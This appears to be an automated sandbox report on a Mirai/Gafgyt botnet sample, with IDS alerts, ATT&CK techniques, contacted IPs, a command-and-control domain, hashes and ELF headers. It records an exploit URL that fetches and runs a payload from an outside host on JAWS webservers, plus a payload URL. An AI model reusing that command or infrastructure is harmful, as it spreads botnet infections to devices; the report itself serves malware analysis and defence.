Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)

Yara detected Gafgyt

Source: Yara match	File source: na.elf, type: SAMPLE
Source: Yara match	File source: 5496.1.00007f0e6c001000.00007f0e6c016000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5500.1.00007f0e6c001000.00007f0e6c016000.r-x.sdmp, type: MEMORY

Yara detected Mirai

Source: Yara match	File source: na.elf, type: SAMPLE
Source: Yara match	File source: 5496.1.00007f0e6c001000.00007f0e6c016000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5500.1.00007f0e6c001000.00007f0e6c016000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: na.elf PID: 5496, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: na.elf PID: 5500, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	Windows Management Instrumentation	Path Interception	Path Interception	Direct Volume Access	1 OS Credential Dumping	11 Security Software Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	1 Service Stop
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	Rootkit	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	4 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	Software Packing	LSA Secrets	Internet Connection Discovery	SSH	Keylogging	1 Ingress Tool Transfer	Scheduled Transfer	Data Encrypted for Impact

Malware Configuration

⊘No configs have been found

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Number of created Files
Is malicious
Internet

Source	Detection	Scanner	Label	Link
na.elf	75%	ReversingLabs	Linux.Trojan.Mirai
na.elf	100%	Avira	EXP/ELF.Gafgyt.T

Source	Detection	Scanner	Label	Link
http://schemas.xmlsoap.org/soap/encoding/	0%	URL Reputation	safe
http://schemas.xmlsoap.org/soap/envelope/	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
plutoc2.site	104.248.138.112	true	false		unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://127.0.0.1:80/shell?cd+/tmp;rm+-rf+*;wget+92.249.48.84/jaws;sh+/tmp/jaws	true		unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://92.249.48.84/bin	na.elf	false		unknown
http://schemas.xmlsoap.org/soap/encoding/	na.elf	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/soap/envelope/	na.elf	false	URL Reputation: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
206.127.49.175	unknown	United States	11114	WINTEK-CORPUS	false
168.185.136.55	unknown	United States	2386	INS-ASUS	false
208.160.70.47	unknown	United States	3561	CENTURYLINK-LEGACY-SAVVISUS	false
41.157.30.64	unknown	South Africa	37168	CELL-CZA	false
40.160.92.128	unknown	United States	4249	LILLY-ASUS	false
197.112.205.100	unknown	Algeria	36947	ALGTEL-ASDZ	false
178.184.52.198	unknown	Russian Federation	12389	ROSTELECOM-ASRU	false
41.233.156.23	unknown	Egypt	8452	TE-ASTE-ASEG	false
210.55.200.87	unknown	New Zealand	4648	SPARK-NZGlobal-GatewayInternetNZ	false
148.176.105.97	unknown	United Kingdom	6400	CompaniaDominicanadeTelefonosSADO	false
178.228.58.230	unknown	Netherlands	31615	TMO-NL-ASNL	false
189.65.76.109	unknown	Brazil	26615	TIMSABR	false
2.163.240.233	unknown	Germany	3320	DTAGInternetserviceprovideroperationsDE	false
206.152.5.185	unknown	United States	16941	CENTURYLINK-LEGACY-FUSEPOINT-CTS-CANADA-POPUS	false
79.136.209.155	unknown	Russian Federation	34145	TOMTELRU	false
94.57.15.167	unknown	United Arab Emirates	5384	EMIRATES-INTERNETEmiratesInternetAE	false
123.31.16.60	unknown	Viet Nam	45899	VNPT-AS-VNVNPTCorpVN	false
156.67.60.38	unknown	Spain	50129	TVHORADADAES	false
128.121.51.108	unknown	United States	2914	NTT-COMMUNICATIONS-2914US	false
197.43.51.157	unknown	Egypt	8452	TE-ASTE-ASEG	false
191.201.150.51	unknown	Brazil	26599	TELEFONICABRASILSABR	false
41.69.118.212	unknown	Egypt	24835	RAYA-ASEG	false
213.227.88.188	unknown	Poland	8508	SILWEB-AS-EDUSILWEBAutonomousSystem-AcademicPL	false
221.162.29.182	unknown	Korea Republic of	4766	KIXS-AS-KRKoreaTelecomKR	false
112.167.94.83	unknown	Korea Republic of	4766	KIXS-AS-KRKoreaTelecomKR	false
79.228.253.227	unknown	Germany	3320	DTAGInternetserviceprovideroperationsDE	false
197.130.137.48	unknown	Morocco	6713	IAM-ASMA	false
212.86.129.76	unknown	Germany	20686	BISPINGISPCitycarrierGermanyDE	false
139.189.9.53	unknown	China	4134	CHINANET-BACKBONENo31Jin-rongStreetCN	false
210.211.21.129	unknown	Indonesia	56239	GASTRANET-AS-IDPTGrahaAnugrahSejahteraID	false
197.164.175.142	unknown	Egypt	24863	LINKdotNET-ASEG	false
68.52.177.26	unknown	United States	7922	COMCAST-7922US	false
174.49.111.93	unknown	United States	7922	COMCAST-7922US	false
148.212.221.191	unknown	Mexico	8151	UninetSAdeCVMX	false
172.211.10.39	unknown	United States	18747	IFX18747US	false
213.22.127.19	unknown	Portugal	2860	NOS_COMUNICACOESPT	false
194.54.95.184	unknown	Germany	41692	OPENCARRIER-ASPL	false
197.132.31.221	unknown	Egypt	24835	RAYA-ASEG	false
66.104.249.172	unknown	United States	2828	XO-AS15US	false
221.92.100.54	unknown	Japan	17676	GIGAINFRASoftbankBBCorpJP	false
156.38.239.160	unknown	South Africa	37153	xneeloZA	false
135.205.221.71	unknown	United States	6431	ATT-RESEARCHUS	false
13.165.162.220	unknown	United States	7018	ATT-INTERNET4US	false
197.65.82.93	unknown	South Africa	16637	MTNNS-ASZA	false
197.191.9.242	unknown	Ghana	37140	zain-asGH	false
37.239.89.83	unknown	Iraq	50710	EARTHLINK-ASIQ	false
155.160.14.146	unknown	Japan	37532	ZAMRENZM	false
178.212.27.65	unknown	Poland	197186	PRESTIZ-SC-POLANDPL	false
143.26.217.165	unknown	United States	264008	LANCAMANTOANISERVICOSDEINFORMATICALTDA-MEBR	false
17.196.88.41	unknown	United States	714	APPLE-ENGINEERINGUS	false
19.47.30.26	unknown	United States	3	MIT-GATEWAYSUS	false
47.223.219.138	unknown	United States	19108	SUDDENLINK-COMMUNICATIONSUS	false
157.82.96.108	unknown	Japan	2501	UTNETTheUniversityofTokyoJP	false
213.209.187.32	unknown	Italy	29286	SKYLOGIC-ASIT	false
156.146.251.154	unknown	United States	1448	UNITED-BROADBANDUS	false
2.92.140.42	unknown	Russian Federation	8402	CORBINA-ASOJSCVimpelcomRU	false
138.50.237.179	unknown	United States	1565	DNIC-ASBLK-01550-01601US	false
197.149.160.120	unknown	South Africa	37438	GijimaZA	false
41.186.122.44	unknown	Rwanda	36890	MTNRW-ASNRW	false
60.224.167.111	unknown	Australia	1221	ASN-TELSTRATelstraCorporationLtdAU	false
158.105.246.36	unknown	Sweden	28726	ASN-EVRY-UNIGRIDSE	false
122.24.48.66	unknown	Japan	4713	OCNNTTCommunicationsCorporationJP	false
122.29.156.128	unknown	Japan	4713	OCNNTTCommunicationsCorporationJP	false
156.175.120.22	unknown	Egypt	36992	ETISALAT-MISREG	false
162.69.2.58	unknown	United States	26585	SIAC-SFTIUS	false
88.149.14.221	unknown	Iceland	12969	VODAFONE_ICELANDIS	false
158.175.6.56	unknown	United States	8473	BAHNHOFhttpwwwbahnhofnetSE	false
145.218.123.123	unknown	European Union	49362	DSVDK	false
182.40.182.194	unknown	China	4134	CHINANET-BACKBONENo31Jin-rongStreetCN	false
156.215.116.66	unknown	Egypt	8452	TE-ASTE-ASEG	false
156.143.83.112	unknown	United States	14319	FURMAN-2US	false
163.228.110.185	unknown	Singapore	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
41.95.85.4	unknown	Sudan	36998	SDN-MOBITELSD	false
155.8.215.58	unknown	United States	1491	DNIC-AS-01491US	false
123.112.7.99	unknown	China	4808	CHINA169-BJChinaUnicomBeijingProvinceNetworkCN	false
199.77.160.245	unknown	United States	3549	LVLT-3549US	false
172.60.124.24	unknown	United States	21928	T-MOBILE-AS21928US	false
197.143.173.223	unknown	Algeria	36891	ICOSNET-ASDZ	false
197.205.16.169	unknown	Algeria	36947	ALGTEL-ASDZ	false
41.140.123.139	unknown	Morocco	36903	MT-MPLSMA	false
156.207.10.166	unknown	Egypt	8452	TE-ASTE-ASEG	true
107.185.34.153	unknown	United States	20001	TWC-20001-PACWESTUS	false
111.195.210.21	unknown	China	4808	CHINA169-BJChinaUnicomBeijingProvinceNetworkCN	false
197.26.67.215	unknown	Tunisia	37671	GLOBALNET-ASTN	false
41.37.180.82	unknown	Egypt	8452	TE-ASTE-ASEG	false
164.123.213.116	unknown	United States	668	DNIC-AS-00668US	false
195.218.238.78	unknown	Russian Federation	3216	SOVAM-ASRU	false
156.228.141.213	unknown	Seychelles	328608	Africa-on-Cloud-ASZA	false
94.35.125.238	unknown	Italy	8612	TISCALI-IT	false
129.155.201.107	unknown	United States	792	ORACLE-ASNBLOCK-ASNUS	false
95.66.84.204	unknown	Kuwait	42961	GPRS-ASZAINKW	false
186.193.192.43	unknown	Brazil	262730	BytewebComunicacaoMultimidiaLtdaBR	false
156.3.38.240	unknown	United States	2920	LACOEUS	false
67.244.212.162	unknown	United States	11351	TWC-11351-NORTHEASTUS	false
156.38.69.216	unknown	Togo	36924	GVA-CanalboxBJ	false
185.89.96.158	unknown	unknown	208149	SKYTELECOM-ASGR	false
160.18.158.243	unknown	Japan	2907	SINET-ASResearchOrganizationofInformationandSystemsN	false
85.101.160.243	unknown	Turkey	9121	TTNETTR	false
197.205.198.197	unknown	Algeria	36947	ALGTEL-ASDZ	false
119.143.77.176	unknown	China	4134	CHINANET-BACKBONENo31Jin-rongStreetCN	false

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
206.127.49.175	arm7.elf	Get hash	malicious	Mirai	Browse
168.185.136.55	2jQHythw1E.elf	Get hash	malicious	Mirai	Browse
208.160.70.47	3nvoeHhdPc.elf	Get hash	malicious	Unknown	Browse
41.157.30.64	hydro.x86.elf	Get hash	malicious	Mirai, Moobot	Browse
	j3FD0T1JMg.elf	Get hash	malicious	Mirai	Browse
	wSMegjZWSJ.elf	Get hash	malicious	Mirai	Browse
	ak.arm7-20220924-1810.elf	Get hash	malicious	Mirai	Browse
	aqua.arm	Get hash	malicious	Gafgyt, Mirai	Browse
	kruma.x86	Get hash	malicious	Mirai	Browse
	PZiTRj9FTs	Get hash	malicious	Mirai	Browse
197.112.205.100	n9q8iS3aIJ.elf	Get hash	malicious	Mirai	Browse
178.184.52.198	Rakitin.x86.elf	Get hash	malicious	Mirai	Browse
	Josho.mips	Get hash	malicious	Mirai	Browse
	Qvgz5dtIzI	Get hash	malicious	Mirai	Browse
	sora.arm	Get hash	malicious	Mirai	Browse
41.233.156.23	xFwrzSST5L.elf	Get hash	malicious	Mirai	Browse
	chi.mips.elf	Get hash	malicious	Mirai	Browse
	SecuriteInfo.com.Linux.BackDoor.Tsunami.970.23222.8874	Get hash	malicious	Mirai	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
plutoc2.site	na.elf	Get hash	malicious	Mirai, Gafgyt	Browse	104.248.138.112

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CENTURYLINK-LEGACY-SAVVISUS	na.elf	Get hash	malicious	Mirai, Moobot	Browse	208.171.109.46
	jYEvdBHMOI.elf	Get hash	malicious	Mirai	Browse	208.141.169.161
	yQMBCvJVWp.elf	Get hash	malicious	Mirai	Browse	205.217.186.69
	ULRmk7oYR7.elf	Get hash	malicious	Mirai	Browse	207.0.158.137
	na.elf	Get hash	malicious	Mirai	Browse	206.98.56.59
	na.elf	Get hash	malicious	Mirai	Browse	208.140.132.250
	na.elf	Get hash	malicious	Mirai	Browse	66.101.50.16
	na.elf	Get hash	malicious	Mirai	Browse	208.138.104.194
	na.elf	Get hash	malicious	Mirai	Browse	206.31.147.31
	na.elf	Get hash	malicious	Mirai	Browse	208.152.177.193
WINTEK-CORPUS	na.elf	Get hash	malicious	Mirai	Browse	206.127.49.170
	na.elf	Get hash	malicious	Mirai	Browse	206.127.49.170
	na.elf	Get hash	malicious	Mirai	Browse	206.127.49.170
	na.elf	Get hash	malicious	Mirai	Browse	206.127.49.170
	na.elf	Get hash	malicious	Mirai	Browse	206.127.49.170
	na.elf	Get hash	malicious	Mirai	Browse	206.127.49.170
	na.elf	Get hash	malicious	Mirai	Browse	206.127.49.170
	na.elf	Get hash	malicious	Mirai	Browse	206.127.49.170
	na.elf	Get hash	malicious	Mirai	Browse	206.127.49.170
	na.elf	Get hash	malicious	Mirai	Browse	206.127.49.170
INS-ASUS	na.elf	Get hash	malicious	Mirai, Moobot	Browse	155.2.171.131
	na.elf	Get hash	malicious	Mirai, Moobot	Browse	12.150.254.135
	na.elf	Get hash	malicious	Mirai, Okiru	Browse	209.243.233.186
	UZV5A2N5j8.elf	Get hash	malicious	Mirai	Browse	156.89.57.102
	UuYpv6CTVM.elf	Get hash	malicious	Mirai	Browse	156.89.172.245
	sXi5OsfvVH.elf	Get hash	malicious	Mirai	Browse	156.89.9.180
	x86.elf	Get hash	malicious	Mirai	Browse	207.243.76.12
	Jr77pnmOup.elf	Get hash	malicious	Mirai	Browse	12.22.102.101
	na.elf	Get hash	malicious	Mirai, Okiru	Browse	131.199.228.82
	na.elf	Get hash	malicious	Mirai	Browse	207.141.211.173
CELL-CZA	na.elf	Get hash	malicious	Mirai, Gafgyt	Browse	197.169.124.242
	na.elf	Get hash	malicious	Mirai	Browse	41.55.38.243
	arm.elf	Get hash	malicious	Mirai, Moobot	Browse	41.157.29.38
	debug.dbg.elf	Get hash	malicious	Mirai, Moobot	Browse	197.105.204.252
	m68k.elf	Get hash	malicious	Mirai, Moobot	Browse	41.51.170.62
	mpsl.elf	Get hash	malicious	Mirai, Moobot	Browse	41.51.182.51
	mips.elf	Get hash	malicious	Mirai, Moobot	Browse	197.170.47.2
	spc.elf	Get hash	malicious	Mirai, Moobot	Browse	197.108.18.122
	x86_64.elf	Get hash	malicious	Mirai, Moobot	Browse	197.169.244.0
	x86.elf	Get hash	malicious	Mirai, Moobot	Browse	197.173.220.123

File type:	ELF 32-bit MSB executable, Motorola m68k, 68020, version 1 (SYSV), statically linked, stripped
Entropy (8bit):	6.4407506357918525
TrID:	ELF Executable and Linkable format (generic) (4004/1) 100.00%
File name:	na.elf
File size:	83'264 bytes
MD5:	16d3e4f80e72305abb84989dc8c8af30
SHA1:	1ada075adc17a1a019412a23cc03f764a9d52d9e
SHA256:	910e5a1d3d261f8062f3ef4f94cd8cdba4f37974750c0906b73d36da91c3f554
SHA512:	79d37047f4a460ed9e4c3e42ee8bc184e6b21e692974c2228968926fbd81ae0e659f03866187bdbca2f12839724f6817f9f55eb90def5d9102f4dd1dd09d624c
SSDEEP:	1536:c07I7R0qRWnRc57kjYcJOQQPkKg1UwI0VqVMDWpQplf+Z278eK/t:ccBnRc5oj1JXQj0hgeKU+o6
TLSH:	59834DD5B8014D7CFD57D6F981224B09F92173108FA30F2BA6A7FCA76C331999E06946
File Content Preview:	.ELF.......................D...4..C......4. ...(......................A...A....... .......A...a...a....d...`...... .dt.Q............................NV..a....da...(tN^NuNV..J9..cpf>"y..a$ QJ.g.X.#...a$N."y..a$ QJ.f.A.....J.g.Hy..A.N.X.......cpN^NuNV..N^NuN

Static ELF Info

ELF header
Class:	ELF32
Data:	2's complement, big endian
Version:	1 (current)
Machine:	MC68000
Version Number:	0x1
Type:	EXEC (Executable file)
OS/ABI:	UNIX - System V
ABI Version:	0
Entry Point Address:	0x80000144
Flags:	0x0
ELF Header Size:	52
Program Header Offset:	52
Program Header Size:	32
Number of Program Headers:	3
Section Header Offset:	82864
Section Header Size:	40
Number of Section Headers:	10
Header String Table Index:	9

Sections

Name	Type	Address	Offset	Size	EntSize	Flags	Flags Description	Align
	NULL	0x0	0x0	0x0	0x0	0x0		0
.init	PROGBITS	0x80000094	0x94	0x14	0x0	0x6	AX	2
.text	PROGBITS	0x800000a8	0xa8	0x1289e	0x0	0x6	AX	4
.fini	PROGBITS	0x80012946	0x12946	0xe	0x0	0x6	AX	2
.rodata	PROGBITS	0x80012954	0x12954	0x17b2	0x0	0x2	A	2
.ctors	PROGBITS	0x8001610c	0x1410c	0x8	0x0	0x3	WA	4
.dtors	PROGBITS	0x80016114	0x14114	0x8	0x0	0x3	WA	4
.data	PROGBITS	0x80016120	0x14120	0x250	0x0	0x3	WA	4
.bss	NOBITS	0x80016370	0x14370	0x3fc	0x0	0x3	WA	4
.shstrtab	STRTAB	0x0	0x14370	0x3e	0x0	0x0		1

Program Segments

Type	Offset	Virtual Address	Physical Address	File Size	Memory Size	Entropy	Flags	Flags Description	Align	Section Mappings
LOAD	0x0	0x80000000	0x80000000	0x14106	0x14106	6.4668	0x5	R E	0x2000	.init .text .fini .rodata
LOAD	0x1410c	0x8001610c	0x8001610c	0x264	0x660	3.0541	0x6	RW	0x2000	.ctors .dtors .data .bss
GNU_STACK	0x0	0x0	0x0	0x0	0x0	0.0000	0x6	RW	0x4

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-10-14T17:34:12.393702+0200	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	48092	2.17.128.182	80	TCP
2024-10-14T17:34:12.393702+0200	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.14	48092	2.17.128.182	80	TCP
2024-10-14T17:34:17.217696+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	35964	156.235.118.232	37215	TCP
2024-10-14T17:34:20.077845+0200	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	33600	42.77.59.80	443	TCP
2024-10-14T17:34:20.077978+0200	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	58474	94.28.197.137	443	TCP
2024-10-14T17:34:20.078044+0200	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	39732	79.237.166.254	443	TCP
2024-10-14T17:34:20.078056+0200	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	37532	2.233.4.30	443	TCP
2024-10-14T17:34:20.078104+0200	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	51886	123.159.227.29	443	TCP
2024-10-14T17:34:20.078108+0200	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	46916	109.90.105.70	443	TCP
2024-10-14T17:34:20.078172+0200	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	37656	42.167.138.188	443	TCP
2024-10-14T17:34:20.078203+0200	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	34940	212.169.97.36	443	TCP
2024-10-14T17:34:20.078240+0200	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	38298	117.107.119.52	443	TCP
2024-10-14T17:34:20.078271+0200	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	57796	118.166.161.110	443	TCP
2024-10-14T17:34:20.078286+0200	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	48306	5.3.212.146	443	TCP
2024-10-14T17:34:20.078312+0200	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	47252	118.233.168.151	443	TCP
2024-10-14T17:34:20.078336+0200	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	41046	5.93.69.95	443	TCP
2024-10-14T17:34:20.078377+0200	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	59890	212.94.246.156	443	TCP
2024-10-14T17:34:20.759241+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	58988	156.96.124.186	37215	TCP
2024-10-14T17:34:20.910873+0200	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	40520	178.17.14.142	443	TCP
2024-10-14T17:34:20.911003+0200	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	59202	202.169.42.22	443	TCP
2024-10-14T17:34:20.911018+0200	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	36842	5.203.70.168	443	TCP
2024-10-14T17:34:20.911047+0200	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	36016	94.45.236.192	443	TCP
2024-10-14T17:34:20.911062+0200	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	44036	210.60.244.65	443	TCP
2024-10-14T17:34:20.911129+0200	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	43560	109.229.207.75	443	TCP
2024-10-14T17:34:20.911132+0200	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	58424	94.33.218.24	443	TCP
2024-10-14T17:34:20.911142+0200	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	47742	37.139.205.59	443	TCP
2024-10-14T17:34:20.911163+0200	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	33966	123.157.78.61	443	TCP
2024-10-14T17:34:20.911183+0200	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	32952	178.11.113.224	443	TCP
2024-10-14T17:34:20.911203+0200	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	54316	148.162.67.255	443	TCP
2024-10-14T17:34:20.911232+0200	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	52956	109.65.134.143	443	TCP
2024-10-14T17:34:20.911274+0200	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	36674	117.195.107.150	443	TCP
2024-10-14T17:34:20.939701+0200	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	49824	178.76.27.129	443	TCP
2024-10-14T17:34:20.939762+0200	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	50478	2.165.216.107	443	TCP
2024-10-14T17:34:20.939773+0200	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	49970	148.224.116.120	443	TCP
2024-10-14T17:34:20.971625+0200	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	58760	148.245.222.232	443	TCP
2024-10-14T17:34:20.971721+0200	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	57400	210.222.150.233	443	TCP
2024-10-14T17:34:20.971866+0200	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	60210	178.50.176.12	443	TCP
2024-10-14T17:34:21.003728+0200	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	37944	42.164.29.2	443	TCP
2024-10-14T17:34:21.003784+0200	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	55190	178.241.201.180	443	TCP
2024-10-14T17:34:21.003847+0200	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	59494	202.19.144.42	443	TCP
2024-10-14T17:34:21.035706+0200	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	54066	109.34.44.99	443	TCP
2024-10-14T17:34:21.035754+0200	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	54720	212.63.24.167	443	TCP
2024-10-14T17:34:21.035799+0200	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	32816	109.17.214.13	443	TCP
2024-10-14T17:34:21.067658+0200	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.14	36720	178.120.144.86	443	TCP
